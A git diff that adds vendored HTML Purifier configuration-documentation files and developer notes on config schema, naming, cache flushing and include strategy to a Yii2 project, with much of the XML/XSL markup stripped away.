{text-align:center; font-family:Garamond, serif; + font-variant:small-caps;} +#library {font-size:1em;} +h1 {margin-top:0;} +h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; + font-size:1.3em; clear:both;} +h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } +h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } + +.deprecated {color: #CCC;} +.deprecated table.constraints th {background:#FFF;} +.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;} + +/* vim: et sw=4 sts=4 */ diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl new file mode 100644 index 00000000..9b9794e0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl @@ -0,0 +1,253 @@ + + + + + + + + + + + + + + + + <xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /> + + + + +
        +
        +

        +
        +

        Table of Contents

        +
          + + + +
        +
        +
        +

        Types

        + +
        + +
        + + +
        + + +
        + type- +

        :

        +
        + +
        +
        +
        + + + + + + + +
      2. + + + col-2 + + + margin-top:-em + + + +
          + + + +
        + +
        + +
      3. +
        +
        + + + + + +
      4. + +
      5. +
        +
        + + + + +
        + + +

        No configuration directives defined for this namespace.

        +
        +
        +
        + +

        +
        + +
        + +
        +
        + + +
        + directive deprecated + + + +
        +
        + + + +

        +
        + + + + + + + + + + + + + + + +
        +
        + + + Aliases + + + , + + + + + + +
        + +
        +
        + +
        + Warning: + This directive was deprecated in version . + % should be used instead. +
        +
        + + + Used in + +
          + +
        + + +
        + +
      6. + on lines + + + , + + +
      7. +
        + + + + Version added + + + + + + Type + + + type type- + + #type- + + + (or null) + + + + + + + + Allowed values + + , + "" + + + + + + Default +
        + +
        + + + External deps + +
          + +
        + + +
        + +
      8. +
        + +
        + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/types.xml b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/types.xml new file mode 100644 index 00000000..ee2c945a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/types.xml @@ -0,0 +1,69 @@ + + + +
        + A series of case-insensitive characters. Internally, upper-case + ASCII characters will be converted to lower-case. +
        +
        + A series of characters that may contain newlines. Text tends to + indicate human-oriented text, as opposed to a machine format. +
        +
        + A series of case-insensitive characters that may contain newlines. +
        +
        + An + integer. You are alternatively permitted to pass a string of + digits instead, which will be cast to an integer using + (int). +
        +
        + A + floating point number. You are alternatively permitted to + pass a numeric string (as defined by is_numeric()), + which will be cast to a float using (float). +
        +
        + A boolean. + You are alternatively permitted to pass an integer 0 or + 1 (other integers are not permitted) or a string + "on", "true" or "1" for + true, and "off", "false" or + "0" for false. +
        +
        + An array whose values are true, e.g. array('key' + => true, 'key2' => true). You are alternatively permitted + to pass an array list of the keys array('key', 'key2') + or a comma-separated string of keys "key, key2". If + you pass an array list of values, ensure that your values are + strictly numerically indexed: array('key1', 2 => + 'key2') will not do what you expect and emits a warning. +
        +
        + An array which has consecutive integer indexes, e.g. + array('val1', 'val2'). You are alternatively permitted + to pass a comma-separated string of keys "val1, val2". + If your array is not in this form, array_values is run + on the array and a warning is emitted. +
        +
        + An array which is a mapping of keys to values, e.g. + array('key1' => 'val1', 'key2' => 'val2'). You are + alternatively permitted to pass a comma-separated string of + key-colon-value strings, e.g. "key1: val1, key2: val2". +
        +
        + An arbitrary PHP value of any type. +
        +
        + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/usage.xml b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/usage.xml new file mode 100644 index 00000000..f3f7a36a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/usage.xml @@ -0,0 +1,547 @@ + + + + + 162 + + + 85 + 315 + + + 67 + 87 + 385 + + + 57 + + + + + 226 + + + + + 319 + + + + + 323 + + + + + 327 + + + + + 331 + + + + + 447 + + + + + 463 + + + + + 66 + + + + + 119 + + + + + 123 + + + + + 128 + + + + + 133 + + + + + 374 + 422 + + + + + 382 + 433 + + + + + 423 + + + + + 70 + + + + + 71 + + + + + 72 + + + + + 73 + + + + + 104 + + + + + 122 + + + 297 + + + + + 123 + + + + + 263 + + + + + 273 + + + + + 291 + + + + + 292 + + + + + 295 + + + + + 399 + + + + + 400 + + + + + 234 + + + 302 + + + 37 + + + 47 + + + 30 + + + + + 241 + + + + + 242 + + + + + 256 + + + + + 259 + + + + + 262 + + + + + 265 + + + 22 + + + + + 268 + + + + + 271 + + + + + 27 + + + + + 93 + + + + + 80 + + + + + 84 + + + 62 + + + + + 313 + + + + + 334 + + + + + 65 + + + 46 + + + + + 76 + + + 89 + + + + + 77 + + + + + 84 + + + + + 48 + + + + + 49 + + + + + 47 + + + + + 19 + + + 19 + + + + + 64 + + + + + 33 + + + + + 34 + + + + + 32 + + + + + 41 + + + + + 51 + + + + + 53 + 58 + + + + + 89 + + + + + 46 + + + + + 77 + + + + + 96 + + + + + 22 + + + + + 24 + + + 27 + + + + + 27 + + + + + 33 + + + + + 41 + + + + + 18 + + + 19 + + + + + 53 + + + + + 171 + + + + + 188 + 206 + + + + + 94 + + + + + 122 + + + + + 327 + + + + + 28 + + + 48 + + + + + 21 + + + 18 + + + 24 + + + + + 50 + + + + + 54 + + + + + 55 + + + + + 31 + + + + + 46 + + + + + 47 + + + + + 54 + + + + + 84 + + + + + 54 + + + + + 72 + + + 26 + + + + + 31 + + + + + 32 + + + + + 35 + + + + + 36 + + + + + 25 + + + + + 48 + + + + + 49 + + + + + 35 + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html new file mode 100644 index 00000000..5b7aaa3c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html @@ -0,0 +1,26 @@ + + + + + + + +Advanced API - HTML Purifier + + + +

        Advanced API

        + +
        Filed under Development
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        + Please see Customize! +

        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt new file mode 100644 index 00000000..bceedebc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt @@ -0,0 +1,29 @@ + +Code Quality Issues + +Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They +also can do quick prototypes, and then forget to rewrite them later. Well, +while I can't list mistakes in here, I can list prototype-like segments +of code that should be aggressively refactored. This does not list +optimization issues, that needs to be done after intense profiling. + +docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme + +AttrDef - a lot of duplication, more generic classes need to be created; +a lot of strtolower() calls, no legit casing + Class - doesn't support Unicode characters (fringe); uses regular expressions + Lang - code duplication; premature optimization + Length - easily mistaken for CSSLength + URI - multiple regular expressions; missing validation for parts (?) + CSS - parser doesn't accept advanced CSS (fringe) + Number - constructor interface inconsistent with Integer +Strategy + FixNesting - cannot bubble nodes out of structures, duplicated checks + for special-case parent node + RemoveForeignElements - should be run in parallel with MakeWellFormed +URIScheme - needs to have callable generic checks + mailto - doesn't validate emails, doesn't validate querystring + news - doesn't validate opaque path + nntp - doesn't constrain path + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt new file mode 100644 index 00000000..29a58ca2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt @@ -0,0 +1,79 @@ + +Configuration Backwards-Compatibility Breaks + +In version 4.0.0, the configuration subsystem (composed of the outwards +facing Config class, as well as the ConfigSchema and ConfigSchema_Interchange +subsystems), was significantly revamped to make use of property lists. +While most of the changes are internal, some internal APIs were changed for the +sake of clarity. HTMLPurifier_Config was kept completely backwards compatible, +although some of the functions were retrofitted with an unambiguous alternate +syntax. Both of these changes are discussed in this document. + + + +1. Outwards Facing Changes +-------------------------------------------------------------------------------- + +The HTMLPurifier_Config class now takes an alternate syntax. The general rule +is: + + If you passed $namespace, $directive, pass "$namespace.$directive" + instead. + +An example: + + $config->set('HTML', 'Allowed', 'p'); + +becomes: + + $config->set('HTML.Allowed', 'p'); + +New configuration options may have more than one namespace, they might +look something like %Filter.YouTube.Blacklist. While you could technically +set it with ('HTML', 'YouTube.Blacklist'), the logical extension +('HTML', 'YouTube', 'Blacklist') does not work. + +The old API will still work, but will emit E_USER_NOTICEs. + + + +2. Internal API Changes +-------------------------------------------------------------------------------- + +Some overarching notes: we've completely eliminated the notion of namespace; +it's now an informal construct for organizing related configuration directives. + +Also, the validation routines for keys (formerly "$namespace.$directive") +have been completely relaxed. I don't think it really should be necessary. + +2.1 HTMLPurifier_ConfigSchema + +First off, if you're interfacing with this class, you really shouldn't. +HTMLPurifier_ConfigSchema_Builder_ConfigSchema is really the only class that +should ever be creating HTMLPurifier_ConfigSchema, and HTMLPurifier_Config the +only class that should be reading it. + +All namespace related methods were removed; they are completely unnecessary +now. Any $namespace, $name arguments must be replaced with $key (where +$key == "$namespace.$name"), including for addAlias(). + +The $info and $defaults member variables are no longer indexed as +[$namespace][$name]; they are now indexed as ["$namespace.$name"]. + +All deprecated methods were finally removed, after having yelled at you as +an E_USER_NOTICE for a while now. + +2.2 HTMLPurifier_ConfigSchema_Interchange + +Member variable $namespaces was removed. + +2.3 HTMLPurifier_ConfigSchema_Interchange_Id + +Member variable $namespace and $directive removed; member variable $key added. +Any method that took $namespace, $directive now takes $key. + +2.4 HTMLPurifier_ConfigSchema_Interchange_Namespace + +Removed. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt new file mode 100644 index 00000000..66db5bce --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt @@ -0,0 +1,164 @@ +Configuration naming + +HTML Purifier 4.0.0 features a new configuration naming system that +allows arbitrary nesting of namespaces. While there are certain cases +in which using two namespaces is obviously better (the canonical example +is where we were using AutoFormatParam to contain directives for AutoFormat +parameters), it is unclear whether or not a general migration to highly +namespaced directives is a good idea or not. + +== Case studies == + +=== Attr.* === + +We have a dead duck HTML.Attr.Name.UseCDATA which migrated before we decided +to think this out thoroughly. + +We currently have a large number of directives in the Attr.* namespace. +These directives tweak the behavior of some HTML attributes. They have +the properties: + +* While they apply to only one attribute at a time, the attribute can + span over multiple elements (not necessarily all attributes, either). + The information of which elements it impacts is either omitted or + informally stated (EnableID applies to all elements, DefaultImageAlt + applies to tags, AllowedRev doesn't say but only applies to a tags). + +* There is a certain degree of clustering that could be applied, especially + to the ID directives. The clustering could be done with respect to + what element/attribute was used, i.e. + + *.id -> EnableID, IDBlacklistRegexp, IDBlacklist, IDPrefixLocal, IDPrefix + img.src -> DefaultInvalidImage + img.alt -> DefaultImageAlt, DefaultInvalidImageAlt + bdo.dir -> DefaultTextDir + a.rel -> AllowedRel + a.rev -> AllowedRev + a.target -> AllowedFrameTargets + a.name -> Name.UseCDATA + +* The directives often reference generic attribute types that were specified + in the DTD/specification. However, some of the behavior specifically relies + on the fact that other use cases of the attribute are not, at current, + supported by HTML Purifier. + + AllowedRel, AllowedRev -> heavily specific; if ends up being + allowed, we will also have to give users specificity there (we also + want to preserve generality) DTD %Linktypes, HTML5 distinguishes + between and / + AllowedFrameTargets -> heavily specific, but also used by + and
        . Transitional DTD %FrameTarget, not present in strict, + HTML5 calls them "browsing contexts" + Default*Image* -> as a default parameter, is almost entirely exlcusive + to + EnableID -> global attribute + Name.UseCDATA -> heavily specific, but has heavy other usage by + many things + +== AutoFormat.* == + +These have the fairly normal pluggable architecture that lends itself to +large amounts of namespaces (pluggability may be the key to figuring +out when gratuitous namespacing is good.) Properties: + +* Boolean directives are fair game for being namespaced: for example, + RemoveEmpty.RemoveNbsp triggers RemoveEmpty.RemoveNbsp.Exceptions, + the latter of which only makes sense when RemoveEmpty.RemoveNbsp + is set to true. (The same applies to RemoveNbsp too) + +The AutoFormat string is a bit long, but is the only bit of repeated +context. + +== Core.* == + +Core is the potpourri of directives, mostly regarding some minor behavioral +tweaks for HTML handling abilities. + + AggressivelyFixLt + ConvertDocumentToFragment + DirectLexLineNumberSyncInterval + LexerImpl + MaintainLineNumbers + Lexer + CollectErrors + Language + Error handling (Language is ostensibly a little more general, but + it's only used for error handling right now) + ColorKeywords + CSS and HTML + Encoding + EscapeNonASCIICharacters + Character encoding + EscapeInvalidChildren + EscapeInvalidTags + HiddenElements + RemoveInvalidImg + Lexing/Output + RemoveScriptContents + Deprecated + +== HTML.* == + + AllowedAttributes + AllowedElements + AllowedModules + Allowed + ForbiddenAttributes + ForbiddenElements + Element set tuning + BlockWrapper + Child def advanced twiddle + CoreModules + CustomDoctype + Advanced HTMLModuleManager twiddles + DefinitionID + DefinitionRev + Caching + Doctype + Parent + Strict + XHTML + Global environment + MaxImgLength + Attribute twiddle? (applies to two attributes) + Proprietary + SafeEmbed + SafeObject + Trusted + Extra functionality/tagsets + TidyAdd + TidyLevel + TidyRemove + Tidy + +== Output.* == + +These directly affect the output of Generator. These are all advanced +twiddles. + +== URI.* == + + AllowedSchemes + OverrideAllowedSchemes + Scheme tuning + Base + DefaultScheme + Host + Global environment + DefinitionID + DefinitionRev + Caching + DisableExternalResources + DisableExternal + DisableResources + Disable + Contextual/authority tuning + HostBlacklist + Authority tuning + MakeAbsolute + MungeResources + MungeSecretKey + Munge + Transformation behavior (munge can be grouped) + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html new file mode 100644 index 00000000..07aecd35 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html @@ -0,0 +1,412 @@ + + + + + + + + Config Schema - HTML Purifier + + + +

        Config Schema

        + +
        Filed under Development
        +
        +
        HTML Purifier End-User Documentation
        + +

        + HTML Purifier has a fairly complex system for configuration. Users + interact with a HTMLPurifier_Config object to + set configuration directives. The values they set are validated according + to a configuration schema, HTMLPurifier_ConfigSchema. +

        + +

        + The schema is mostly transparent to end-users, but if you're doing development + work for HTML Purifier and need to define a new configuration directive, + you'll need to interact with it. We'll also talk about how to define + userspace configuration directives at the very end. +

        + +

        Write a directive file

        + +

        + Directive files define configuration directives to be used by + HTML Purifier. They are placed in library/HTMLPurifier/ConfigSchema/schema/ + in the form Namespace.Directive.txt (I + couldn't think of a more descriptive file extension.) + Directive files are actually what we call StringHashes, + i.e. associative arrays represented in a string form reminiscent of + PHPT tests. Here's a + sample directive file, Test.Sample.txt: +

        + +
        Test.Sample
        +TYPE: string/null
        +DEFAULT: NULL
        +ALLOWED: 'foo', 'bar'
        +VALUE-ALIASES: 'baz' => 'bar'
        +VERSION: 3.1.0
        +--DESCRIPTION--
        +This is a sample configuration directive for the purposes of the
        +<code>dev-config-schema.html<code> documentation.
        +--ALIASES--
        +Test.Example
        + +

        + Each of these segments has a specific meaning: +

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        KeyExampleDescription
        IDTest.SampleThe name of the directive, in the form Namespace.Directive + (implicitly the first line)
        TYPEstring/nullThe type of variable this directive accepts. See below for + details. You can also add /null to the end of + any basic type to allow null values too.
        DEFAULTNULLA parseable PHP expression of the default value.
        DESCRIPTIONThis is a...An HTML description of what this directive does.
        VERSION3.1.0Recommended. The version of HTML Purifier this directive was added. + Directives that have been around since 1.0.0 don't have this, + but any new ones should.
        ALIASESTest.ExampleOptional. A comma separated list of aliases for this directive. + This is most useful for backwards compatibility and should + not be used otherwise.
        ALLOWED'foo', 'bar'Optional. Set of allowed value for a directive, + a comma separated list of parseable PHP expressions. This + is only allowed string, istring, text and itext TYPEs.
        VALUE-ALIASES'baz' => 'bar'Optional. Mapping of one value to another, and + should be a comma separated list of keypair duples. This + is only allowed string, istring, text and itext TYPEs.
        DEPRECATED-VERSION3.1.0Not shown. Indicates that the directive was + deprecated this version.
        DEPRECATED-USETest.NewDirectiveNot shown. Indicates what new directive should be + used instead. Note that the directives will functionally be + different, although they should offer the same functionality. + If they are identical, use an alias instead.
        EXTERNALCSSTidyNot shown. Indicates if there is an external library + the user will need to download and install to use this configuration + directive. As of right now, this is merely a Google-able name; future + versions may also provide links and instructions.
        + +

        + Some notes on format and style: +

        + +
          +
        • + Each of these keys can be expressed in the short format + (KEY: Value) or the long format + (--KEY-- with value beneath). You must use the + long format if multiple lines are needed, or if a long format + has been used already (that's why ALIASES in our + example is in the long format); otherwise, it's user preference. +
        • +
        • + The HTML descriptions should be wrapped at about 80 columns; do + not rely on editor word-wrapping. +
        • +
        + +

        + Also, as promised, here is the set of possible types: +

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        TypeExampleDescription
        string'Foo'String without newlines
        istring'foo'Case insensitive ASCII string without newlines
        text"A\nb"String with newlines
        itext"a\nb"Case insensitive ASCII string without newlines
        int23Integer
        float3.0Floating point number
        booltrueBoolean
        lookuparray('key' => true)Lookup array, used with isset($var[$key])
        listarray('f', 'b')List array, with ordered numerical indexes
        hasharray('key' => 'val')Associative array of keys to values
        mixednew stdclassAny PHP variable is fine
        + +

        + The examples represent what will be returned out of the configuration + object; users have a little bit of leeway when setting configuration + values (for example, a lookup value can be specified as a list; + HTML Purifier will flip it as necessary.) These types are defined + in + library/HTMLPurifier/VarParser.php. +

        + +

        + For more information on what values are allowed, and how they are parsed, + consult + library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php, as well + as + library/HTMLPurifier/ConfigSchema/Interchange/Directive.php for + the semantics of the parsed values. +

        + +

        Refreshing the cache

        + +

        + You may have noticed that your directive file isn't doing anything + yet. That's because it hasn't been added to the runtime + HTMLPurifier_ConfigSchema instance. Run + maintenance/generate-schema-cache.php to fix this. + If there were no errors, you're good to go! Don't forget to add + some unit tests for your functionality! +

        + +

        + If you ever make changes to your configuration directives, you + will need to run this script again. +

        +

        Adding in-house schema definitions

        + +

        + Placing stuff directly in HTML Purifier's source tree is generally not a + good idea, so HTML Purifier 4.0.0+ has some facilities in place to make your + life easier. +

        + +

        + The first is to pass an extra parameter to maintenance/generate-schema-cache.php + with the location of your directory (relative or absolute path will do). For example, + if I'm storing my custom definitions in /var/htmlpurifier/myschema, run: + php maintenance/generate-schema-cache.php /var/htmlpurifier/myschema. +

        + +

        + Alternatively, you can create a small loader PHP file in the HTML Purifier base + directory named config-schema.php (this is the same directory + you would place a test-settings.php file). In this file, add + the following line for each directory you want to load: +

        + +
        $builder->buildDir($interchange, '/var/htmlpurifier/myschema');
        + +

        You can even load a single file using:

        + +
        $builder->buildFile($interchange, '/var/htmlpurifier/myschema/MyApp.Directive.txt');
        + +

        Storing custom definitions that you don't plan on sending back upstream in + a separate directory is definitely a good idea! Additionally, picking + a good namespace can go a long way to saving you grief if you want to use + someone else's change, but they picked the same name, or if HTML Purifier + decides to add support for a configuration directive that has the same name.

        + + + +

        Errors

        + +

        + All directive files go through a rigorous validation process + through + library/HTMLPurifier/ConfigSchema/Validator.php, as well + as some basic checks during building. While + listing every error out here is out-of-scope for this document, we + can give some general tips for interpreting error messages. + There are two types of errors: builder errors and validation errors. +

        + +

        Builder errors

        + +
        +

        + Exception: Expected type string, got + integer in DEFAULT in directive hash 'Ns.Dir' +

        +
        + +

        + You can identify a builder error by the keyword "directive hash." + These are the easiest to deal with, because they directly correspond + with your directive file. Find the offending directive file (which + is the directive hash plus the .txt extension), find the + offending index ("in DEFAULT" means the DEFAULT key) and fix the error. + This particular error would occur if your default value is not the same + type as TYPE. +

        + +

        Validation errors

        + +
        +

        + Exception: Alias 3 in valueAliases in directive + 'Ns.Dir' must be a string +

        +
        + +

        + These are a little trickier, because we're not actually validating + your directive file, or even the direct string hash representation. + We're validating an Interchange object, and the error messages do + not mention any string hash keys. +

        + +

        + Nevertheless, it's not difficult to figure out what went wrong. + Read the "context" statements in reverse: +

        + +
        +
        in directive 'Ns.Dir'
        +
        This means we need to look at the directive file Ns.Dir.txt
        +
        in valueAliases
        +
        There's no key actually called this, but there's one that's close: + VALUE-ALIASES. Indeed, that's where to look.
        +
        Alias 3
        +
        The value alias that is equal to 3 is the culprit.
        +
        + +

        + In this particular case, you're not allowed to alias integers values to + strings values. +

        + +

        + The most difficult part is translating the Interchange member variable (valueAliases) + into a directive file key (VALUE-ALIASES), but there's a one-to-one + correspondence currently. If the two formats diverge, any discrepancies + will be described in + library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php. +

        + +

        Internals

        + +

        + Much of the configuration schema framework's codebase deals with + shuffling data from one format to another, and doing validation on this + data. + The keystone of all of this is the HTMLPurifier_ConfigSchema_Interchange + class, which represents the purest, parsed representation of the schema. +

        + +

        + Hand-writing this data is unwieldy, however, so we write directive files. + These directive files are parsed by HTMLPurifier_StringHashParser + into HTMLPurifier_StringHashes, which then + are run through HTMLPurifier_ConfigSchema_InterchangeBuilder + to construct the interchange object. +

        + +

        + From the interchange object, the data can be siphoned into other forms + using HTMLPurifier_ConfigSchema_Builder subclasses. + For example, HTMLPurifier_ConfigSchema_Builder_ConfigSchema + generates a runtime HTMLPurifier_ConfigSchema object, + which HTMLPurifier_Config uses to validate its incoming + data. There is also an XML serializer, which is used to build documentation. +

        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-flush.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-flush.html new file mode 100644 index 00000000..4a3a7835 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-flush.html @@ -0,0 +1,68 @@ + + + + + + + + Flushing the Purifier - HTML Purifier + + + +

        Flushing the Purifier

        + +
        Filed under Development
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        + If you've been poking around the various folders in HTML Purifier, + you may have noticed the maintenance directory. Almost + all of these scripts are devoted to flushing out the various caches + HTML Purifier uses. Normal users don't have to worry about this: + regular library usage is transparent. However, when doing development + work on HTML Purifier, you may find you have to flush one of the + caches. +

        + +

        + As a general rule of thumb, run flush.php whenever you make + any major changes, or when tests start mysteriously failing. + In more detail, run this script if: +

        + +
          +
        • + You added new source files to HTML Purifier's main library. + (see generate-includes.php) +
        • +
        • + You modified the configuration schema (see + generate-schema-cache.php). This usually means + adding or modifying files in HTMLPurifier/ConfigSchema/schema/, + although in rare cases modifying HTMLPurifier/ConfigSchema.php + will also require this. +
        • +
        • + You modified a Definition, or its subsystems. The most usual candidate + is HTMLPurifier/HTMLDefinition.php, which also encompasses + the files in HTMLPurifier/HTMLModule/ as well as if you've + customizing definitions without + the cache disabled. (see flush-generation-cache.php) +
        • +
        • + You modified source files, and have been using the standalone + version from the full installation. (see generate-standalone.php) +
        • +
        + +

        + You can check out the corresponding scripts for more information on what they + do. +

        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-includes.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-includes.txt new file mode 100644 index 00000000..d3382b59 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-includes.txt @@ -0,0 +1,281 @@ + +INCLUDES, AUTOLOAD, BYTECODE CACHES and OPTIMIZATION + +The Problem +----------- + +HTML Purifier contains a number of extra components that are not used all +of the time, only if the user explicitly specifies that we should use +them. + +Some of these optional components are optionally included (Filter, +Language, Lexer, Printer), while others are included all the time +(Injector, URIFilter, HTMLModule, URIScheme). We will stipulate that these +are all developer specified: it is conceivable that certain Tokens are not +used, but this is user-dependent and should not be trusted. + +We should come up with a consistent way to handle these things and ensure +that we get the maximum performance when there is bytecode caches and +when there are not. Unfortunately, these two goals seem contrary to each +other. + +A peripheral issue is the performance of ConfigSchema, which has been +shown take a large, constant amount of initialization time, and is +intricately linked to the issue of includes due to its pervasive use +in our plugin architecture. + +Pros and Cons +------------- + +We will assume that user-based extensions will be included by them. + +Conditional includes: + Pros: + - User management is simplified; only a single directive needs to be set + - Only necessary code is included + Cons: + - Doesn't play nicely with opcode caches + - Adds complexity to standalone version + - Optional configuration directives are not exposed without a little + extra coaxing (not implemented yet) + +Include it all: + Pros: + - User management is still simple + - Plays nicely with opcode caches and standalone version + - All configuration directives are present + Cons: + - Lots of (how much?) extra code is included + - Classes that inherit from external libraries will cause compile + errors + +Build an include stub (Let's do this!): + Pros: + - Only necessary code is included + - Plays nicely with opcode caches and standalone version + - require (without once) can be used, see above + - Could further extend as a compilation to one file + Cons: + - Not implemented yet + - Requires user intervention and use of a command line script + - Standalone script must be chained to this + - More complex and compiled-language-like + - Requires a whole new class of system-wide configuration directives, + as configuration objects can be reused + - Determining what needs to be included can be complex (see above) + - No way of autodetecting dynamically instantiated classes + - Might be slow + +Include stubs +------------- + +This solution may be "just right" for users who are heavily oriented +towards performance. However, there are a number of picky implementation +details to work out beforehand. + +The number one concern is how to make the HTML Purifier files "work +out of the box", while still being able to easily get them into a form +that works with this setup. As the codebase stands right now, it would +be necessary to strip out all of the require_once calls. The only way +we could get rid of the require_once calls is to use __autoload or +use the stub for all cases (which might not be a bad idea). + + Aside + ----- + An important thing to remember, however, is that these require_once's + are valuable data about what classes a file needs. Unfortunately, there's + no distinction between whether or not the file is needed all the time, + or whether or not it is one of our "optional" files. Thus, it is + effectively useless. + + Deprecated + ---------- + One of the things I'd like to do is have the code search for any classes + that are explicitly mentioned in the code. If a class isn't mentioned, I + get to assume that it is "optional," i.e. included via introspection. + The choice is either to use PHP's tokenizer or use regexps; regexps would + be faster but a tokenizer would be more correct. If this ends up being + unfeasible, adding dependency comments isn't a bad idea. (This could + even be done automatically by search/replacing require_once, although + we'd have to manually inspect the results for the optional requires.) + + NOTE: This ends up not being necessary, as we're going to make the user + figure out all the extra classes they need, and only include the core + which is predetermined. + +Using the autoload framework with include stubs works nicely with +introspective classes: instead of having to have require_once inside +the function, we can let autoload do the work; we simply need to +new $class or accept the object straight from the caller. Handling filters +becomes a simple matter of ticking off configuration directives, and +if ConfigSchema spits out errors, adding the necessary includes. We could +also use the autoload framework as a fallback, in case the user forgets +to make the include, but doesn't really care about performance. + + Insight + ------- + All of this talk is merely a natural extension of what our current + standalone functionality does. However, instead of having our code + perform the includes, or attempting to inline everything that possibly + could be used, we boot the issue to the user, making them include + everything or setup the fallback autoload handler. + +Configuration Schema +-------------------- + +A common deficiency for all of the conditional include setups (including +the dynamically built include PHP stub) is that if one of this +conditionally included files includes a configuration directive, it +is not accessible to configdoc. A stopgap solution for this problem is +to have it piggy-back off of the data in the merge-library.php script +to figure out what extra files it needs to include, but if the file also +inherits classes that don't exist, we're in big trouble. + +I think it's high time we centralized the configuration documentation. +However, the type checking has been a great boon for the library, and +I'd like to keep that. The compromise is to use some other source, and +then parse it into the ConfigSchema internal format (sans all of those +nasty documentation strings which we really don't need at runtime) and +serialize that for future use. + +The next question is that of format. XML is very verbose, and the prospect +of setting defaults in it gives me willies. However, this may be necessary. +Splitting up the file into manageable chunks may alleviate this trouble, +and we may be even want to create our own format optimized for specifying +configuration. It might look like (based off the PHPT format, which is +nicely compact yet unambiguous and human-readable): + +Core.HiddenElements +TYPE: lookup +DEFAULT: array('script', 'style') // auto-converted during processing +--ALIASES-- +Core.InvisibleElements, Core.StupidElements +--DESCRIPTION-- +

        + Blah blah +

        + +The first line is the directive name, the lines after that prior to the +first --HEADER-- block are single-line values, and then after that +the multiline values are there. No value is restricted to a particular +format: DEFAULT could very well be multiline if that would be easier. +This would make it insanely easy, also, to add arbitrary extra parameters, +like: + +VERSION: 3.0.0 +ALLOWED: 'none', 'light', 'medium', 'heavy' // this is wrapped in array() +EXTERNAL: CSSTidy // this would be documented somewhere else with a URL + +The final loss would be that you wouldn't know what file the directive +was used in; with some clever regexps it should be possible to +figure out where $config->get($ns, $d); occurs. Reflective calls to +the configuration object is mitigated by the fact that getBatch is +used, so we can simply talk about that in the namespace definition page. +This might be slow, but it would only happen when we are creating +the documentation for consumption, and is sugar. + +We can put this in a schema/ directory, outside of HTML Purifier. The serialized +data gets treated like entities.ser. + +The final thing that needs to be handled is user defined configurations. +They can be added at runtime using ConfigSchema::registerDirectory() +which globs the directory and grabs all of the directives to be incorporated +in. Then, the result is saved. We may want to take advantage of the +DefinitionCache framework, although it is not altogether certain what +configuration directives would be used to generate our key (meta-directives!) + + Further thoughts + ---------------- + Our master configuration schema will only need to be updated once + every new version, so it's easily versionable. User specified + schema files are far more volatile, but it's far too expensive + to check the filemtimes of all the files, so a DefinitionRev style + mechanism works better. However, we can uniquely identify the + schema based on the directories they loaded, so there's no need + for a DefinitionId until we give them full programmatic control. + + These variables should be directly incorporated into ConfigSchema, + and ConfigSchema should handle serialization. Some refactoring will be + necessary for the DefinitionCache classes, as they are built with + Config in mind. If the user changes something, the cache file gets + rebuilt. If the version changes, the cache file gets rebuilt. Since + our unit tests flush the caches before we start, and the operation is + pretty fast, this will not negatively impact unit testing. + +One last thing: certain configuration directives require that files +get added. They may even be specified dynamically. It is not a good idea +for the HTMLPurifier_Config object to be used directly for such matters. +Instead, the userland code should explicitly perform the includes. We may +put in something like: + +REQUIRES: 